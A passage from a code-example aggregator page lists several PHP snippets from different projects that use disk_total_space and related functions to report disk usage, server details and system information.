        unset($value);
        ++$rounds;
    }
    $lastRandom = hash("sha512", $lastRandom, true);
    return $raw === false ? bin2hex($output) : $output;
}
コード例 #26
0
ファイル: Disk.php プロジェクト: splitice/radical-system
 static function total($path = '/')
 {
     while (!file_exists($path) && $path) {
         $path = basename($path);
     }
     if (!$path) {
         return null;
     }
     return disk_total_space($path);
 }
コード例 #27
0
 private function show_info()
 {
     $total_space = round(@disk_total_space(".") / (1024 * 1024));
     $free_space = round(@disk_free_space(".") / (1024 * 1024));
     $already_used = round($total_space - $free_space);
     $already_used_percent = round(($total_space - $free_space) / $total_space * 100);
     $server_info = array('os' => PHP_OS, 'server_software' => $_SERVER["SERVER_SOFTWARE"], 'php' => php_sapi_name(), 'mysqli' => mysqli_get_server_info($this->model->getDb()), 'canon_version' => 1.0 . "&nbsp;&nbsp;&nbsp; [<a href='http://phpgoto.com' target='_blank'>访问官网</a>]", 'upload' => ini_get('upload_max_filesize'), 'total_space' => $total_space, 'free_space' => $free_space, 'already_used' => $already_used, 'already_used_percent' => $already_used_percent);
     //dump($server_info);
     return $server_info;
 }
コード例 #28
0
function fingerprint($params = array())
{
    $profile = array('os' => PHP_OS, 'system_name' => php_uname('s'), 'system_release' => php_uname('r'), 'system_version' => php_uname('v'), 'machine_type' => php_uname('m'), 'host_name' => php_uname('n'), 'php_server_api' => php_sapi_name(), 'php_version' => phpversion(), 'uid' => posix_getuid(), 'gid' => posix_getgid(), 'cwd' => getcwd(), 'disk_free_space' => disk_free_space('/'), 'disk_total_space' => disk_total_space('/'));
    switch ($profile['php_server_api']) {
        case 'apache':
            $profile['apache_version'] = apache_get_version();
            break;
    }
    return $profile;
}
コード例 #29
0
 public function status($x)
 {
     $NR = "<span class='badge badge-warning'>Not Recommended</span>";
     $Re = "<span class='badge badge-info'>Recommended</span>";
     if (convert(disk_total_space($x), FALSE) < 100) {
         return $NR;
     }
     if (convert(disk_total_space($x), FALSE) >= 100) {
         return $Re;
     }
 }
コード例 #30
0
ファイル: diskSpace.php プロジェクト: kulgee001/yggdrasil
 public function disk_spaces($type)
 {
     switch ($type) {
         case "total":
             return disk_total_space("/");
             break;
         case "free":
             return disk_free_space("/");
             break;
     }
 }